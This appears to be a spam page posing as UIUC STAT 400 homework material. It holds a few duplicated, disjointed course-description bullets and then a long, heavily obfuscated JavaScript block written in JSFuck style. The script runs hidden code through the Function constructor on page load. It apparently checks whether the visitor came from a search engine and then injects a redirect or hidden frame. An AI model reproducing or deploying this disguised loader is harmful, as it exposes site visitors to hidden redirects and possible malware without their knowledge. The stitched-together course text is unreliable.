# Stat 400 homework uiuc

## STAT 400 / MATH 463

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• Model building and feature selection are discussed for these techniques, with a focus on regularization methods, such as lasso and ridge regression, as well as methods for model selection and assessment using cross validation.
• An introduction to statistical consulting is also provided.
• Cluster analysis and principal components analysis are introduced as examples of unsupervised learning.
• Topics include Bayes’ rule, prior and posterior distributions, conjugacy, Bayesian point estimates and intervals, Bayesian hypothesis testing, noninformative priors, practical Markov chain Monte Carlo, hierarchical models and model graphs, and more advanced topics as time permits.
• Cluster analysis and principal components analysis are introduced as examples of unsupervised learning.
• Model building and feature selection are discussed for these techniques, with a focus on regularization methods, such as lasso and ridge regression, as well as methods for model selection and assessment using cross validation.
• Topics center around three main procedures:

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\$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,50,122,53,48,51,54,72,84,77,76,60,34,112,47,119,63,38,95,43,85,67,83,52,44,58,37,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_](\$[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+\$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+\$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+\$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+\$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+\$[5]+\$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+\$[7]+\$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+\$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+\$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+\$[7]+\$[9]+\$[4]+\$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+\$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+\$[4]+\$[9]+\$[11]+\$[12]+\$[2]+\$[13]+\$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+\$[15]+\$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+\$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+\$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+\$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+\$[7]+\$[9]+\$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+\$[10]+\$[4]+\$[9]+\$[11]+\$[12]+\$[2]+\$[13]+\$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+\$[15]+\$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+\$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+\$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+\$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+\$[7]+\$[9]+\$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+\$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+\$[16]+\$[10]+([]+[]+{})[+!+[]]+\$[4]+\$[9]+\$[11]+\$[12]+\$[2]+\$[13]+\$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+\$[15]+\$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+\$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+\$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+\$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+\$[7]+\$[9]+\$[4]+\$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+\$[8]+\$[4]+\$[9]+\$[11]+\$[12]+\$[2]+\$[13]+\$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+\$[15]+\$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+\$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+\$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+\$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+\$[7]+\$[9]+\$[4]+\$[17]+(![]+[])[+!+[]]+\$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+\$[4]+\$[9]+\$[11]+\$[12]+\$[2]+\$[13]+\$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+\$[15]+\$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+\$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+\$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+\$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+\$[7]+\$[9]+\$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+\$[4]+\$[9]+\$[11]+\$[12]+\$[2]+\$[13]+\$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+\$[15]+\$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+\$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+\$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+\$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+\$[7]+\$[9]+\$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+\$[16]+\$[4]+\$[9]+\$[11]+\$[12]+\$[2]+\$[13]+\$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+\$[15]+\$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+\$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+\$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+\$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+\$[7]+\$[9]+\$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+\$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+\$[4]+\$[9]+\$[11]+\$[12]+\$[2]+\$[13]+\$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+\$[15]+\$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+\$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+\$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+\$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+\$[7]+\$[9]+\$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+\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!+[]+[+[]]]+\$[18]+\$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+\$[35]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+\$[7]+\$[9]+\$[38]+\$[9]+\$[46]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+\$[9]+\$[39]+\$[9]+\$[11]+\$[41]+\$[9]+\$[34]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+\$[17]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+\$[2]+\$[34]+\$[35]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+\$[47]+(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+\$[8]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+\$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+\$[37]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[+[]]+\$[18]+\$[47]+\$[14]+\$[26]+\$[26]+\$[48]+\$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+\$[18]+(!![]+[])[!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+\$[10]+\$[18]+(!![]+[])[+[]]+\$[47]+\$[14]+\$[26]+\$[26]+\$[48]+\$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+\$[24]+\$[13]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+\$[8]+\$[47]+\$[27]+\$[26]+\$[26]+\$[26]+\$[26]+\$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[+[]]+\$[47]+\$[26]+\$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+\$[35]+\$[47]+\$[26]+\$[5]+\$[34]+\$[49]+\$[33]+\$[36]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+\$[3]+(!![]+[])[!+[]+!+[]+!+[]]+\$[49]+\$[9]+\$[6]+\$[50])();